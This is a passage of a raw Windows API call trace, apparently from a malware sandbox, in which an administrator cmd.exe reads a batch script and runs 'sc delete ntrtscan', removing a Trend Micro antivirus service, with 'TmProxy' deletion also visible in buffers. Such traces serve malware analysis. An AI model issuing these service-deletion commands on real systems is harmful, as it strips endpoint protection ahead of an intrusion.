lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="nmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.945] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="tProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.945] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.945] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="rroxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="toxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="sxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="cy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="a\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.946] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="n\nnService\ne\n\n\nA\"\n") returned 1 [0068.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.947] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0068.947] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.947] GetFileType (hFile=0xb8) returned 0x3 [0068.947] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.947] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.947] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.947] GetFileType (hFile=0x120) returned 0x3 [0068.947] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ntrtscan\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ntrtscan\n", lpUsedDefaultChar=0x0) returned 20 [0068.947] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0068.947] GetProcessHeap () returned 0x1b0000 [0068.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.947] GetProcessHeap () returned 0x1b0000 [0068.947] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.947] GetProcessHeap () returned 0x1b0000 [0068.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.947] GetProcessHeap () returned 0x1b0000 [0068.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.947] GetProcessHeap () returned 0x1b0000 [0068.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0068.947] GetConsoleOutputCP () returned 0x1b5 [0068.947] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.947] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.948] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0068.948] SetErrorMode (uMode=0x0) returned 0x1 [0068.948] SetErrorMode (uMode=0x1) returned 0x0 [0068.948] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.948] SetErrorMode (uMode=0x1) returned 0x1 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0068.948] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.948] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.948] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.948] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.948] GetProcessHeap () returned 0x1b0000 [0068.949] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.949] GetProcessHeap () returned 0x1b0000 [0068.949] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.949] GetProcessHeap () returned 0x1b0000 [0068.949] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.949] GetLastError () returned 0x2 [0068.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.949] GetLastError () returned 0x2 [0068.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.949] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.950] GetLastError () returned 0x2 [0068.950] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.950] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.950] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.950] GetProcessHeap () returned 0x1b0000 [0068.950] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.950] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.950] GetProcessHeap () returned 0x1b0000 [0068.950] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0068.950] GetProcessHeap () returned 0x1b0000 [0068.950] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0068.950] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ntrtscan") returned 1 [0068.951] GetProcessHeap () returned 0x1b0000 [0068.951] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.951] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.951] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.951] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.951] GetProcessHeap () returned 0x1b0000 [0068.951] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.951] GetProcessHeap () returned 0x1b0000 [0068.951] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.951] GetProcessHeap () returned 0x1b0000 [0068.951] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.951] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ntrtscan", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ntrtscan", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete ntrtscan", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x8a8, dwThreadId=0x8c8)) returned 1 [0068.955] CloseHandle (hObject=0x50) returned 1 [0068.955] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.955] GetProcessHeap () returned 0x1b0000 [0068.955] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.955] GetEnvironmentStringsW () returned 0x1cba10* [0068.955] GetProcessHeap () returned 0x1b0000 [0068.955] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.955] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.955] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.955] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.955] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0069.004] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0069.004] CloseHandle (hObject=0x54) returned 1 [0069.004] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0069.004] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.005] GetProcessHeap () returned 0x1b0000 [0069.005] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0069.005] GetEnvironmentStringsW () returned 0x1d1b10* [0069.005] GetProcessHeap () returned 0x1b0000 [0069.005] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0069.005] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0069.005] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.005] GetProcessHeap () returned 0x1b0000 [0069.005] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0069.005] GetEnvironmentStringsW () returned 0x1cba10* [0069.005] GetProcessHeap () returned 0x1b0000 [0069.005] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0069.005] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0069.005] GetProcessHeap () returned 0x1b0000 [0069.005] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0069.005] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0069.005] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.006] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.006] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.006] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.006] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0069.006] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.006] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0069.006] GetConsoleOutputCP () returned 0x1b5 [0069.007] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0069.007] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0069.007] GetProcessHeap () returned 0x1b0000 [0069.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0069.008] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0069.008] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.008] GetFileType (hFile=0x120) returned 0x3 [0069.008] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.008] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0069.008] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.008] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.008] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.008] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0069.008] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.008] GetFileType (hFile=0x120) returned 0x3 [0069.008] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, 